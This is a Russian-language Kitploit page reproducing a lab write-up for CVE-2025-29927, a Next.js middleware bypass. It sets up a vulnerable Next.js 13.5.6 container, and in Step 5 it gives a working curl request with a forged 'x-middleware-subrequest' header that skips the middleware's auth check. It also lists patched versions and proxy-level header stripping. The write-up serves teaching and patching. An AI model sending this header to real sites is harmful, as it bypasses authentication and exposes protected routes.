Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — Доказательство концепции для CVE-2025-29927, демонстрирующее обход промежуточного ПО в версиях Next.js до 13.5.9 | Kitploit
Инструменты/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

Доказательство концепции для CVE-2025-29927, демонстрирующее обход промежуточного ПО в версиях Next.js до 13.5.9

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
16 месяцев назадЕщё не проверено

PoC: CVE-2025-29927 — Обход промежуточного ПО Next.js

Этот репозиторий содержит Proof of Concept (PoC), демонстрирующий, как обойти проверки безопасности промежуточного ПО в Next.js (v13.5.6) путём эксплуатации уязвимости, связанной с внутренними HTTP-заголовками.

Обзор уязвимости: CVE-2025-29927

Что это?

CVE-2025-29927 — это уязвимость обхода промежуточного ПО (Middleware Bypass), обнаруженная в версиях Next.js от 1.11.4 и до версий 12.3.5, 13.5.9, 14.2.25 и 15.2.3. Она позволяет внешнему злоумышленнику пропустить логику безопасности — такую как аутентификация, обнаружение ботов или геолокационные перенаправления, — реализованную разработчиком в файле middleware.ts.

Корневая причина: доверие к заголовку

Next.js использует внутренние HTTP-заголовки для обмена данными между различными архитектурными уровнями. Один из таких заголовков — x-middleware-subrequest.

Уязвимость существует потому, что уязвимые версии Next.js доверяют этому заголовку, даже если он отправлен внешним клиентом (например, браузером или curl). Когда сервер видит этот заголовок, он предполагает, что запрос уже был обработан и «пропущен» промежуточным ПО, поэтому полностью пропускает выполнение вашего кода безопасности.

Влияние

  • Обход аутентификации: Если ваше приложение полагается на промежуточное ПО для проверки токенов входа, злоумышленник может обойти эту проверку и получить доступ к защищённым страницам.
  • Обход фильтров безопасности: Любая логика, предназначенная для блокировки вредоносных IP-адресов или пользовательских агентов, игнорируется.
  • Раскрытие информации: Доступ к внутренним маршрутам, которые должны быть ограничены.

Настройка окружения

Лаборатория работает внутри Docker-контейнера Node:18-alpine для обеспечения чистого и воспроизводимого окружения.


Шаг 1 – Создание контейнера

Запускаем именованный контейнер в фоновом режиме. Используем sleep infinity, чтобы контейнер оставался активным во время настройки.

На начальном этапе у меня возникли некоторые проблемы с перезапуском контейнера на более поздних этапах, поэтому я остановился на sleep infinity.

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Шаг 1

Шаг 2 – Установка Next.js 13.5.6

Устанавливаем конкретную уязвимую версию Next.js. Обратите внимание, что несмотря на флаг --src-dir false, фреймворк создаёт директорию src, в которую мы должны поместить наше промежуточное ПО, чтобы оно было активным.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Шаг 2.1
Шаг 2.2

Шаг 3 – Создание «Стража» (Middleware)

Для имитации барьера безопасности создаём файл middleware.ts. Это промежуточное ПО настроено на блокировку всех входящих запросов со статусом 401 Unauthorized.

root@kitploit:~
# Войдите в оболочку контейнера
docker exec -it CVE-2025-29927-Lab sh

# Создайте файл middleware внутри директории src (одна длинная команда)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Шаг 3

Шаг 4 – Запуск сервера

Запустите сервер разработки и дождитесь сигнала ✓ Ready в консоли.

root@kitploit:~
# Всё ещё находясь в оболочке контейнера из Шага 3 - выполните команду ниже.
cd lab && npm run dev
Шаг 4

Шаг 5 – Проверка и эксплуатация

Откройте новое окно терминала (не закрывайте предыдущее) на хост-машине, чтобы протестировать окружение с помощью curl.

1. Обычный запрос (Заблокирован)

Стандартный запрос без изменённых заголовков корректно перехватывается и блокируется нашим промежуточным ПО.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Ожидаемый ответ: HTTP/1.1 401 Unauthorized

2. Обход через CVE-2025-29927 (Эксплуатация)

Внедряя внутренний заголовок x-middleware-subrequest: src/middleware, мы обманываем Next.js, заставляя его считать, что запрос уже был проверен внутренним процессом. Сервер пропускает выполнение промежуточного ПО и предоставляет полный доступ.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Ожидаемый ответ: HTTP/1.1 200 OK
Шаг 5

Меры по устранению

Чтобы защитить ваше приложение от CVE-2025-29927, обновите Next.js до исправленной версии, соответствующей вашему текущему мажорному релизу:

1. Рекомендуемые обновления

Уязвимость устранена в следующих версиях. Убедитесь, что ваш package.json содержит как минимум эти версии:

  • Next.js 15: Обновите до 15.2.3 или новее.
  • Next.js 14: Обновите до 14.2.25 или новее.
  • Next.js 13: Обновите до 13.5.9 или новее (версия, используемая в этом PoC).
  • Next.js 12: Обновите до 12.3.5 или новее.
root@kitploit:~
# Пример обновления до последней исправленной версии
npm install next@latest

2. Защита на уровне инфраструктуры

Если немедленное обновление невозможно, настройте ваш брандмауэр веб-приложений (WAF) или обратный прокси-сервер (например, Nginx, Cloudflare или Varnish) на удаление или отбрасывание заголовка x-middleware-subrequest из всех входящих внешних запросов до того, как они достигнут сервера приложения Next.js.

3. Проверка

После обновления вы можете проверить исправление, повторно запустив команду эксплуатации из Шага 5. Исправленный сервер больше не будет возвращать 200 OK при наличии поддельного заголовка.


Заключение

Эта уязвимость существует из-за того, что Next.js доверяет клиентским заголовкам для идентификации внутренних подзапросов. Для устранения уязвимости следует обновить Next.js до версии, которая правильно проверяет или удаляет эти внутренние заголовки из входящего внешнего трафика.

Отказ от ответственности: Этот PoC предназначен только для образовательных целей.

Ссылки

  • Официальная запись NVD: CVE-2025-29927 Detail — Подтверждает подверженные версии 13.5.1 — 13.5.8 и исправление в 13.5.9.
  • Уведомление о безопасности GitHub: GHSA-65p9-6799-7872 — Оригинальное уведомление об обходе промежуточного ПО.
  • Релизы безопасности Next.js: Блог Next.js — Официальное объявление о патчах безопасности.
Скачать инструмент